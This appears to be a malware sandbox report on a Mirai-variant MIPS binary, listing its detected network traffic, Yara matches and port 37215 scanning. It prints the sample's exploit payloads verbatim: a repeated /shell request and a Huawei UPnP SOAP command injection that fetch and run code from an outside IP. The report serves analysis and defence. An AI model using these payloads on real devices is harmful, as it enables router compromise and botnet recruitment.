Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive

Source: global traffic

DNS traffic detected: DNS query: scamanje.stresserit.pro

Source: unknown

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: mips.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: mips.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: mips.elf, type: SAMPLE	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: mips.elf, type: SAMPLE	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 6224.1.00007f9d64400000.00007f9d64416000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 6224.1.00007f9d64400000.00007f9d64416000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 6228.1.00007f9d64400000.00007f9d64416000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 6228.1.00007f9d64400000.00007f9d64416000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth

Source: Initial sample

String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: ELF static info symbol of initial sample

.symtab present: no

Source: mips.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: mips.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 6224.1.00007f9d64400000.00007f9d64416000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 6224.1.00007f9d64400000.00007f9d64416000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 6228.1.00007f9d64400000.00007f9d64416000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 6228.1.00007f9d64400000.00007f9d64416000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research

Source: classification engine

Classification label: mal100.troj.linELF@0/0@25/0

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 52264 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51070 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50372 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43142 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38022 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45200 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37778 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56978 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53538 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60000 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40264 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35146 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33322 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35392 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47456 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38434 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44720 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39378 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51638 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37670 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36688 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59432 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47578 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38764 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37486 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52640 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45456 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56488 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53308 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50812 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56792 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58510 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52542 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50688 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49022 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44486 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49166 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45932 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41104 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41456 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46628 -> 37215
